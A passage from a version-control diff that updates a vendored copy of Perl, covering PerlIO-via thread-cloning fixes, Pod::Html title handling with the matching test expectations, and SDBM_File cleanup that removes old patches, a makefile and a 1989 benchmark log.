+        my $class = shift;
+        bless {}, $class;
+    }
+
+    sub WRITE {
+        my ($self, $buffer, $handle) = @_;
+
+        print $handle $buffer;
+        return length($buffer);
+    }
+    package PerlIO::via::YYY;
+
+    sub PUSHED {
+        my $class = shift;
+        bless {}, $class;
+    }
+
+    sub WRITE {
+        my ($self, $buffer, $handle) = @_;
+
+        $buffer =~ tr/X/Y/;
+        print $handle $buffer;
+        return length($buffer);
+    }
+
+    sub GETARG {
+        "XXX";
+    }
+}
+
 END {
     1 while unlink $tmp;
 }

Modified: vendor/perl/dist/ext/PerlIO-via/via.pm
===================================================================
--- vendor/perl/dist/ext/PerlIO-via/via.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/PerlIO-via/via.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 package PerlIO::via;
-our $VERSION = '0.16';
+our $VERSION = '0.17';
 require XSLoader;
 XSLoader::load();
 1;

Modified: vendor/perl/dist/ext/PerlIO-via/via.xs
===================================================================
--- vendor/perl/dist/ext/PerlIO-via/via.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/PerlIO-via/via.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -38,6 +38,8 @@
  CV *UTF8;
 } PerlIOVia;
 
+static const MGVTBL PerlIOVia_tag = { 0, 0, 0, 0, 0, 0, 0, 0 };
+
 #define MYMethod(x) #x,&s->x
 
 static CV *
@@ -131,8 +133,14 @@
 		 PerlIO_funcs * tab)
 {
     IV code = PerlIOBase_pushed(aTHX_ f, mode, Nullsv, tab);
+
+    if (SvTYPE(arg) >= SVt_PVMG
+		&& mg_findext(arg, PERL_MAGIC_ext, &PerlIOVia_tag)) {
+	return code;
+    }
+
     if (code == 0) {
-	PerlIOVia *s = PerlIOSelf(f, PerlIOVia);
+        PerlIOVia *s = PerlIOSelf(f, PerlIOVia);
 	if (!arg) {
 	    if (ckWARN(WARN_LAYER))
 		Perl_warner(aTHX_ packWARN(WARN_LAYER),
@@ -583,9 +591,28 @@
 PerlIOVia_getarg(pTHX_ PerlIO * f, CLONE_PARAMS * param, int flags)
 {
     PerlIOVia *s = PerlIOSelf(f, PerlIOVia);
-    PERL_UNUSED_ARG(param);
+    SV *arg;
     PERL_UNUSED_ARG(flags);
-    return PerlIOVia_method(aTHX_ f, MYMethod(GETARG), G_SCALAR, Nullsv);
+
+    /* During cloning, return an undef token object so that _pushed() knows
+     * that it should not call methods and wait for _dup() to actually dup the
+     * object. */
+    if (param) {
+	SV *sv = newSV(0);
+	sv_magicext(sv, NULL, PERL_MAGIC_ext, &PerlIOVia_tag, 0, 0);
+	return sv;
+    }
+
+    arg = PerlIOVia_method(aTHX_ f, MYMethod(GETARG), G_SCALAR, Nullsv);
+    if (arg) {
+        /* arg is a temp, and PerlIOBase_dup() will explicitly free it */
+        SvREFCNT_inc(arg);
+    }
+    else {
+        arg = newSVpvn(HvNAME(s->stash), HvNAMELEN(s->stash));
+    }
+
+    return arg;
 }
 
 static PerlIO *
@@ -593,10 +620,30 @@
 	      int flags)
 {
     if ((f = PerlIOBase_dup(aTHX_ f, o, param, flags))) {
-	/* Most of the fields will lazily set themselves up as needed
-	   stash and obj have been set up by the implied push
-	 */
+#ifdef USE_ITHREADS
+        if (param) {
+            /* For a non-interpreter dup stash and obj have been set up
+               by the implied push.
+
+               But if this is a clone for a new interpreter we need to
+               translate the objects to their dups.
+            */
+
+            PerlIOVia *fs = PerlIOSelf(f, PerlIOVia);
+            PerlIOVia *os = PerlIOSelf(o, PerlIOVia);
+
+            fs->obj = sv_dup_inc(os->obj, param);
+            fs->stash = (HV*)sv_dup((SV*)os->stash, param);
+            fs->var = sv_dup_inc(os->var, param);
+            fs->cnt = os->cnt;
+
+            /* fh, io, cached CVs left as NULL, PerlIOVia_method()
+               will reinitialize them if needed */
+        }
+#endif
+        /* for a non-threaded dup fs->obj and stash should be set by _pushed() */
     }
+
     return f;
 }
 

Modified: vendor/perl/dist/ext/Pod-Functions/Functions_pm.PL
===================================================================
--- vendor/perl/dist/ext/Pod-Functions/Functions_pm.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Pod-Functions/Functions_pm.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -207,7 +207,7 @@
 
 =cut
 
-our $VERSION = '1.11';
+our $VERSION = '1.13';
 
 require Exporter;
 

Modified: vendor/perl/dist/ext/Pod-Html/lib/Pod/Html.pm
===================================================================
--- vendor/perl/dist/ext/Pod-Html/lib/Pod/Html.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Pod-Html/lib/Pod/Html.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,11 +2,10 @@
 use strict;
 require Exporter;
 
-use vars qw($VERSION @ISA @EXPORT @EXPORT_OK);
-$VERSION = 1.2202;
- at ISA = qw(Exporter);
- at EXPORT = qw(pod2html htmlify);
- at EXPORT_OK = qw(anchorify);
+our $VERSION = 1.24;
+our @ISA = qw(Exporter);
+our @EXPORT = qw(pod2html htmlify);
+our @EXPORT_OK = qw(anchorify relativize_url);
 
 use Carp;
 use Config;
@@ -16,6 +15,7 @@
 use File::Spec::Unix;
 use Getopt::Long;
 use Pod::Simple::Search;
+use Pod::Simple::SimpleTree ();
 use locale; # make \w work right in non-ASCII lands
 
 =head1 NAME
@@ -223,6 +223,19 @@
 
 =cut
 
+# This sub duplicates the guts of Pod::Simple::FromTree.  We could have
+# used that module, except that it would have been a non-core dependency.
+sub feed_tree_to_parser {
+    my($parser, $tree) = @_;
+    if(ref($tree) eq "") {
+	$parser->_handle_text($tree);
+    } elsif(!($tree->[0] eq "X" && $parser->nix_X_codes)) {
+	$parser->_handle_element_start($tree->[0], $tree->[1]);
+	feed_tree_to_parser($parser, $_) foreach @{$tree}[2..$#$tree];
+	$parser->_handle_element_end($tree->[0]);
+    }
+}
+
 my $Cachedir; 
 my $Dircache;
 my($Htmlroot, $Htmldir, $Htmlfile, $Htmlfileurl);
@@ -274,7 +287,7 @@
     $Doindex = 1;               # non-zero if we should generate an index
     $Backlink = 0;              # no backlinks added by default
     $Header = 0;                # produce block header/footer
-    $Title = '';                # title to give the pod(s)
+    $Title = undef;             # title to give the pod(s)
 }
 
 sub pod2html {
@@ -340,25 +353,60 @@
         close $cache or die "error closing $Dircache: $!";
     }
 
-    # set options for the parser
-    my $parser = Pod::Simple::XHTML::LocalPodLinks->new();
+    my $input;
+    unless (@ARGV && $ARGV[0]) {
+        if ($Podfile and $Podfile ne '-') {
+            $input = $Podfile;
+        } else {
+            $input = '-'; # XXX: make a test case for this
+        }
+    } else {
+        $Podfile = $ARGV[0];
+        $input = *ARGV;
+    }
+
+    # set options for input parser
+    my $parser = Pod::Simple::SimpleTree->new;
     $parser->codes_in_verbatim(0);
+    $parser->accept_targets(qw(html HTML));
+    $parser->no_errata_section(!$Poderrors); # note the inverse
+
+    warn "Converting input file $Podfile\n" if $Verbose;
+    my $podtree = $parser->parse_file($input)->root;
+
+    unless(defined $Title) {
+	if($podtree->[0] eq "Document" && ref($podtree->[2]) eq "ARRAY" &&
+		$podtree->[2]->[0] eq "head1" && @{$podtree->[2]} == 3 &&
+		ref($podtree->[2]->[2]) eq "" && $podtree->[2]->[2] eq "NAME" &&
+		ref($podtree->[3]) eq "ARRAY" && $podtree->[3]->[0] eq "Para" &&
+		@{$podtree->[3]} >= 3 &&
+		!(grep { ref($_) ne "" }
+		    @{$podtree->[3]}[2..$#{$podtree->[3]}]) &&
+		(@$podtree == 4 ||
+		    (ref($podtree->[4]) eq "ARRAY" &&
+			$podtree->[4]->[0] eq "head1"))) {
+	    $Title = join("", @{$podtree->[3]}[2..$#{$podtree->[3]}]);
+	}
+    }
+
+    $Title //= "";
+    $Title = html_escape($Title);
+
+    # set options for the HTML generator
+    $parser = Pod::Simple::XHTML::LocalPodLinks->new();
+    $parser->codes_in_verbatim(0);
     $parser->anchor_items(1); # the old Pod::Html always did
     $parser->backlink($Backlink); # linkify =head1 directives
+    $parser->force_title($Title);
     $parser->htmldir($Htmldir);
     $parser->htmlfileurl($Htmlfileurl);
     $parser->htmlroot($Htmlroot);
     $parser->index($Doindex);
-    $parser->no_errata_section(!$Poderrors); # note the inverse
     $parser->output_string(\my $output); # written to file later
     $parser->pages(\%Pages);
     $parser->quiet($Quiet);
     $parser->verbose($Verbose);
 
-    # XXX: implement default title generator in pod::simple::xhtml
-    # copy the way the old Pod::Html did it
-    $Title = html_escape($Title);
-
     # We need to add this ourselves because we use our own header, not
     # ::XHTML's header. We need to set $parser->backlink to linkify
     # the =head1 directives
@@ -405,21 +453,8 @@
 </html>
 HTMLFOOT
 
-    my $input;
-    unless (@ARGV && $ARGV[0]) {
-        if ($Podfile and $Podfile ne '-') {
-            $input = $Podfile;
-        } else {
-            $input = '-'; # XXX: make a test case for this
-        }
-    } else {
-        $Podfile = $ARGV[0];
-        $input = *ARGV;
-    }
+    feed_tree_to_parser($parser, $podtree);
 
-    warn "Converting input file $Podfile\n" if $Verbose;
-    $parser->parse_file($input);
-
     # Write output to file
     $Htmlfile = "-" unless $Htmlfile; # stdout
     my $fhout;
@@ -620,26 +655,18 @@
     $rest   =~ s/</</g;
     $rest   =~ s/>/>/g;
     $rest   =~ s/"/"/g;
-    # ' is only in XHTML, not HTML4.  Be conservative
-    #$rest   =~ s/'/'/g;
+    $rest =~ s/([[:^print:]])/sprintf("&#x%x;", ord($1))/aeg;
     return $rest;
 }
 
 #
 # htmlify - converts a pod section specification to a suitable section
-# specification for HTML. Note that we keep spaces and special characters
-# except ", ? (Netscape problem) and the hyphen (writer's problem...).
+# specification for HTML.  We adopt the mechanism used by the formatter
+# that we use.
 #
 sub htmlify {
     my( $heading) = @_;
-    $heading =~ s/(\s+)/ /g;
-    $heading =~ s/\s+\Z//;
-    $heading =~ s/\A\s+//;
-    # The hyphen is a disgrace to the English language.
-    # $heading =~ s/[-"?]//g;
-    $heading =~ s/["?]//g;
-    $heading = lc( $heading );
-    return $heading;
+    return Pod::Simple::XHTML->can("idify")->(undef, $heading, 1);
 }
 
 #
@@ -767,7 +794,7 @@
         # then $self->htmlroot eq '' (by definition of htmlfileurl) so
         # $self->htmldir needs to be prepended to link to get the absolute path
         # that will be relativized
-        $url = relativize_url(
+        $url = Pod::Html::relativize_url(
             File::Spec::Unix->catdir(Pod::Html::_unixify($self->htmldir), $url),
             $self->htmlfileurl # already unixified
         );
@@ -776,6 +803,8 @@
     return $url . ".html$section";
 }
 
+package Pod::Html;
+
 #
 # relativize_url - convert an absolute URL to one relative to a base URL.
 # Assumes both end in a filename.

Modified: vendor/perl/dist/ext/Pod-Html/t/anchorify.t
===================================================================
--- vendor/perl/dist/ext/Pod-Html/t/anchorify.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Pod-Html/t/anchorify.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -23,18 +23,18 @@
     $heads{anchorify($1)} = 1 if $poddata[$i] =~ /=head[1-6]\s+(.*)/;
 }
 my %expected = map { $_ => 1 } qw(
-    name
-    description
-    subroutine
-    error
-    method
-    has_a_wordspace
-    hastrailingwordspace
-    hasleadingwordspace
-    has_extra_internalwordspace
-    hasquotes
-    hasquestionmark
-    has_hyphen_and_space
+    NAME
+    DESCRIPTION
+    Subroutine
+    Error
+    Method
+    Has_A_Wordspace
+    HasTrailingWordspace
+    HasLeadingWordspace
+    Has_Extra_InternalWordspace
+    Has_Quotes
+    Has_QuestionMark
+    Has_Hyphen_And_Space
 );
 is_deeply(
     \%heads,

Modified: vendor/perl/dist/ext/Pod-Html/t/crossref.t
===================================================================
--- vendor/perl/dist/ext/Pod-Html/t/crossref.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Pod-Html/t/crossref.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -35,7 +35,7 @@
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
-<title></title>
+<title>htmlcrossref - Test HTML cross reference links</title>
 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
 <link rev="made" href="mailto:[PERLADMIN]" />
 </head>

Modified: vendor/perl/dist/ext/Pod-Html/t/crossref2.t
===================================================================
--- vendor/perl/dist/ext/Pod-Html/t/crossref2.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Pod-Html/t/crossref2.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -31,7 +31,7 @@
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
-<title></title>
+<title>htmlcrossref - Test HTML cross reference links</title>
 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
 <link rev="made" href="mailto:[PERLADMIN]" />
 </head>

Modified: vendor/perl/dist/ext/Pod-Html/t/crossref3.t
===================================================================
--- vendor/perl/dist/ext/Pod-Html/t/crossref3.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Pod-Html/t/crossref3.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -31,7 +31,7 @@
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
-<title></title>
+<title>htmlcrossref - Test HTML cross reference links</title>
 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
 <link rev="made" href="mailto:[PERLADMIN]" />
 </head>

Modified: vendor/perl/dist/ext/Pod-Html/t/htmldir1.t
===================================================================
--- vendor/perl/dist/ext/Pod-Html/t/htmldir1.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Pod-Html/t/htmldir1.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -52,7 +52,7 @@
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
-<title></title>
+<title>htmldir - Test --htmldir feature</title>
 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
 <link rev="made" href="mailto:[PERLADMIN]" />
 </head>

Modified: vendor/perl/dist/ext/Pod-Html/t/htmldir2.t
===================================================================
--- vendor/perl/dist/ext/Pod-Html/t/htmldir2.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Pod-Html/t/htmldir2.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -39,7 +39,7 @@
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
-<title></title>
+<title>htmldir - Test --htmldir feature</title>
 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
 <link rev="made" href="mailto:[PERLADMIN]" />
 </head>

Modified: vendor/perl/dist/ext/Pod-Html/t/htmldir3.t
===================================================================
--- vendor/perl/dist/ext/Pod-Html/t/htmldir3.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Pod-Html/t/htmldir3.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -48,7 +48,7 @@
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
-<title></title>
+<title>htmldir - Test --htmldir feature</title>
 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
 <link rev="made" href="mailto:[PERLADMIN]" />
 </head>

Modified: vendor/perl/dist/ext/Pod-Html/t/htmldir4.t
===================================================================
--- vendor/perl/dist/ext/Pod-Html/t/htmldir4.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Pod-Html/t/htmldir4.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -34,7 +34,7 @@
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
-<title></title>
+<title>htmldir - Test --htmldir feature</title>
 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
 <link rev="made" href="mailto:[PERLADMIN]" />
 </head>

Modified: vendor/perl/dist/ext/Pod-Html/t/htmldir5.t
===================================================================
--- vendor/perl/dist/ext/Pod-Html/t/htmldir5.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Pod-Html/t/htmldir5.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -37,7 +37,7 @@
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
-<title></title>
+<title>htmldir - Test --htmldir feature</title>
 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
 <link rev="made" href="mailto:[PERLADMIN]" />
 </head>

Modified: vendor/perl/dist/ext/Pod-Html/t/htmlescp.t
===================================================================
--- vendor/perl/dist/ext/Pod-Html/t/htmlescp.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Pod-Html/t/htmlescp.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,7 +14,7 @@
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
-<title></title>
+<title>Escape Sequences Test</title>
 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
 <link rev="made" href="mailto:[PERLADMIN]" />
 </head>

Modified: vendor/perl/dist/ext/Pod-Html/t/htmllink.t
===================================================================
--- vendor/perl/dist/ext/Pod-Html/t/htmllink.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Pod-Html/t/htmllink.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,7 +14,7 @@
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
-<title></title>
+<title>htmllink - Test HTML links</title>
 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
 <link rev="made" href="mailto:[PERLADMIN]" />
 </head>

Modified: vendor/perl/dist/ext/Pod-Html/t/htmlview.t
===================================================================
--- vendor/perl/dist/ext/Pod-Html/t/htmlview.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/Pod-Html/t/htmlview.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,7 +14,7 @@
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
-<title></title>
+<title>Test HTML Rendering</title>
 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
 <link rev="made" href="mailto:[PERLADMIN]" />
 </head>

Deleted: vendor/perl/dist/ext/SDBM_File/COMPARE
===================================================================
--- vendor/perl/dist/ext/SDBM_File/COMPARE	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/SDBM_File/COMPARE	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,88 +0,0 @@
-
-Script started on Thu Sep 28 15:41:06 1989
-% uname -a
-titan titan 4_0 UMIPS mips
-% make all x-dbm
-        cc -O -DSDBM -DDUFF -DDUPERROR -DSPLITFAIL -c dbm.c
-        cc -O -DSDBM -DDUFF -DDUPERROR -DSPLITFAIL -c sdbm.c
-        cc -O -DSDBM -DDUFF -DDUPERROR -DSPLITFAIL -c pair.c
-        cc -O -DSDBM -DDUFF -DDUPERROR -DSPLITFAIL -c hash.c
-        ar cr libsdbm.a sdbm.o pair.o hash.o
-        ranlib libsdbm.a
-        cc  -o dbm dbm.o libsdbm.a
-        cc -O -DSDBM -DDUFF -DDUPERROR -DSPLITFAIL -c dba.c
-        cc  -o dba dba.o
-        cc -O -DSDBM -DDUFF -DDUPERROR -DSPLITFAIL -c dbd.c
-        cc  -o dbd dbd.o
-        cc -O -DSDBM -DDUFF -DDUPERROR -DSPLITFAIL -o x-dbm dbm.o
-% 
-% 
-% wc history
-  65110 218344 3204883 history
-% 
-% /bin/time dbm build foo <history
-
-real     5:56.9
-user       13.3
-sys        26.3
-% ls -s
-total 14251
-   5 README           2 dbd.c            1 hash.c           1 pair.h
-   0 SCRIPT           5 dbd.o            1 hash.o           5 pair.o
-   1 WISHLIST        62 dbm           3130 history          1 port.h
-  46 dba              5 dbm.c           11 howtodbm.txt    11 sdbm.c
-   3 dba.c            8 dbm.o           14 libsdbm.a        2 sdbm.h
-   6 dba.o            4 foo.dir          1 makefile         8 sdbm.o
-  46 dbd           10810 foo.pag         6 pair.c          60 x-dbm
-% ls -l foo.*
--rw-r--r--  1 oz           4096 Sep 28 15:48 foo.dir
--rw-r--r--  1 oz       11069440 Sep 28 15:48 foo.pag
-% 
-% /bin/time x-dbm build bar <history
-
-real     5:59.4
-user       24.7
-sys        29.1
-% 
-% ls -s
-total 27612
-   5 README          46 dbd              1 hash.c           5 pair.o
-   1 SCRIPT           2 dbd.c            1 hash.o           1 port.h
-   1 WISHLIST         5 dbd.o         3130 history         11 sdbm.c
-   4 bar.dir         62 dbm             11 howtodbm.txt     2 sdbm.h
-13356 bar.pag         5 dbm.c           14 libsdbm.a        8 sdbm.o
-  46 dba              8 dbm.o            1 makefile        60 x-dbm
-   3 dba.c            4 foo.dir          6 pair.c
-   6 dba.o         10810 foo.pag         1 pair.h
-% 
-% ls -l bar.*
--rw-r--r--  1 oz           4096 Sep 28 15:54 bar.dir
--rw-r--r--  1 oz       13676544 Sep 28 15:54 bar.pag
-% 
-% dba foo | tail
-#10801: ok. no entries.
-#10802: ok. no entries.
-#10803: ok. no entries.
-#10804: ok. no entries.
-#10805: ok. no entries.
-#10806: ok. no entries.
-#10807: ok. no entries.
-#10808: ok. no entries.
-#10809: ok.  11 entries 67% used free 337.
-10810 pages (6036 holes):  65073 entries
-% 
-% dba bar | tail
-#13347: ok. no entries.
-#13348: ok. no entries.
-#13349: ok. no entries.
-#13350: ok. no entries.
-#13351: ok. no entries.
-#13352: ok. no entries.
-#13353: ok. no entries.
-#13354: ok. no entries.
-#13355: ok.   7 entries 33% used free 676.
-13356 pages (8643 holes):  65073 entries
-%
-% exit
-script done on Thu Sep 28 16:08:45 1989
-

Modified: vendor/perl/dist/ext/SDBM_File/dbe.c
===================================================================
--- vendor/perl/dist/ext/SDBM_File/dbe.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/SDBM_File/dbe.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,5 @@
 #include <stdio.h>
+#include <string.h>
 #ifndef VMS
 #include <sys/file.h>
 #include <ndbm.h>
@@ -47,16 +48,11 @@
 
 char *optarg;			       /* Global argument pointer. */
 
-#ifdef VMS
-#define index  strchr
-#endif
-
 char
 getopt(int argc, char **argv, char *optstring)
 {
 	int c;
 	char *place;
-	extern char *index();
 	static int optind = 0;
 	static char *scan = NULL;
 
@@ -78,7 +74,7 @@
 	}
 
 	c = *scan++;
-	place = index(optstring, c);
+	place = strchr(optstring, c);
 	if (place == NULL || c == ':' || c == ';') {
 
 		(void) fprintf(stderr, "%s: unknown option %c\n", argv[0], c);

Modified: vendor/perl/dist/ext/SDBM_File/dbu.c
===================================================================
--- vendor/perl/dist/ext/SDBM_File/dbu.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/SDBM_File/dbu.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,12 +8,7 @@
 #endif
 #include <string.h>
 
-#ifdef BSD42
-#define strchr	index
-#endif
-
 extern int	getopt();
-extern char	*strchr();
 extern void	oops();
 
 char *progname;

Modified: vendor/perl/dist/ext/SDBM_File/hash.c
===================================================================
--- vendor/perl/dist/ext/SDBM_File/hash.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/SDBM_File/hash.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,34 +14,34 @@
  * polynomial conversion ignoring overflows
  * [this seems to work remarkably well, in fact better
  * then the ndbm hash function. Replace at your own risk]
- * use: 65599	nice.
+ * use: 65599   nice.
  *      65587   even better. 
  */
 long
 sdbm_hash(const char *str, int len)
 {
-	unsigned long n = 0;
+        unsigned long n = 0;
 
 #ifdef DUFF
 
-#define HASHC	n = *str++ + 65599 * n
+#define HASHC   n = *str++ + 65599 * n
 
-	if (len > 0) {
-		int loop = (len + 8 - 1) >> 3;
+        if (len > 0) {
+                int loop = (len + 8 - 1) >> 3;
 
-		switch(len & (8 - 1)) {
-		case 0:	do {
-			HASHC;	case 7:	HASHC;
-		case 6:	HASHC;	case 5:	HASHC;
-		case 4:	HASHC;	case 3:	HASHC;
-		case 2:	HASHC;	case 1:	HASHC;
-			} while (--loop);
-		}
+                switch(len & (8 - 1)) {
+                case 0: do {
+                        HASHC; /* FALLTHROUGH */ case 7: HASHC; /* FALLTHROUGH */
+                case 6: HASHC; /* FALLTHROUGH */ case 5: HASHC; /* FALLTHROUGH */
+                case 4: HASHC; /* FALLTHROUGH */ case 3: HASHC; /* FALLTHROUGH */
+                case 2: HASHC; /* FALLTHROUGH */ case 1: HASHC;
+                        } while (--loop);
+                }
 
-	}
+        }
 #else
-	while (len--)
-		n = *str++ + 65599 * n;
+        while (len--)
+                n = *str++ + 65599 * n;
 #endif
-	return n;
+        return n;
 }

Deleted: vendor/perl/dist/ext/SDBM_File/linux.patches
===================================================================
--- vendor/perl/dist/ext/SDBM_File/linux.patches	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/SDBM_File/linux.patches	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,67 +0,0 @@
-*** sdbm.dist/./dbu.c	Mon Feb 17 21:18:52 1992
---- sdbm/./dbu.c	Mon Feb 17 21:11:20 1992
-***************
-*** 12,18 ****
-  #endif
-  
-  extern int	getopt();
-! extern char	*strchr();
-  extern void	oops();
-  
-  char *progname;
---- 12,18 ----
-  #endif
-  
-  extern int	getopt();
-! /* extern char	*strchr(); */
-  extern void	oops();
-  
-  char *progname;
-*** sdbm.dist/./makefile	Mon Feb 17 21:18:56 1992
---- sdbm/./makefile	Mon Feb 17 21:10:46 1992
-***************
-*** 2,8 ****
-  # makefile for public domain ndbm-clone: sdbm
-  # DUFF: use duff's device (loop unroll) in parts of the code
-  #
-! CFLAGS = -O -DSDBM -DDUFF -DBSD42
-  #LDFLAGS = -p
-  
-  OBJS = sdbm.o pair.o hash.o
---- 2,8 ----
-  # makefile for public domain ndbm-clone: sdbm
-  # DUFF: use duff's device (loop unroll) in parts of the code
-  #
-! CFLAGS = -O -DSDBM -DDUFF
-  #LDFLAGS = -p
-  
-  OBJS = sdbm.o pair.o hash.o
-*** sdbm.dist/./sdbm.c	Mon Feb 17 21:19:17 1992
---- sdbm/./sdbm.c	Mon Feb 17 21:12:59 1992
-***************
-*** 25,30 ****
---- 25,31 ----
-  #endif
-  #include <errno.h>
-  #include <string.h>
-+ #include <unistd.h>
-  
-  #ifdef __STDC__
-  #include <stddef.h>
-***************
-*** 43,49 ****
-  
-  extern char *malloc proto((unsigned int));
-  extern void free proto((void *));
-! extern long lseek();
-  
-  /*
-   * forward
---- 44,50 ----
-  
-  extern char *malloc proto((unsigned int));
-  extern void free proto((void *));
-! /* extern long lseek(); */
-  
-  /*
-   * forward

Deleted: vendor/perl/dist/ext/SDBM_File/makefile.sdbm
===================================================================
--- vendor/perl/dist/ext/SDBM_File/makefile.sdbm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/SDBM_File/makefile.sdbm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,55 +0,0 @@
-#
-# makefile for public domain ndbm-clone: sdbm
-# DUFF: use duff's device (loop unroll) in parts of the code
-#
-CFLAGS = -O -DSDBM -DDUFF -DBSD42 -pic
-#LDFLAGS = -p
-
-OBJS = sdbm.o pair.o hash.o
-SRCS = sdbm.c pair.c hash.c dbu.c dba.c dbd.c util.c
-HDRS = tune.h sdbm.h pair.h
-MISC = README CHANGES COMPARE sdbm.3 dbe.c dbe.1 dbm.c dbm.h biblio \
-       readme.ms readme.ps
-
-all: dbu dba dbd dbe
-
-dbu: dbu.o sdbm util.o
-	cc $(LDFLAGS) -o dbu dbu.o util.o libsdbm.a
-
-dba: dba.o util.o
-	cc $(LDFLAGS) -o dba dba.o util.o
-dbd: dbd.o util.o
-	cc $(LDFLAGS) -o dbd dbd.o util.o
-dbe: dbe.o sdbm
-	cc $(LDFLAGS) -o dbe dbe.o libsdbm.a
-
-sdbm: $(OBJS)
-	ar cr libsdbm.a $(OBJS)
-	ranlib libsdbm.a
-###	cp libsdbm.a /usr/lib/libsdbm.a
-
-dba.o: sdbm.h
-dbu.o: sdbm.h
-util.o:sdbm.h
-
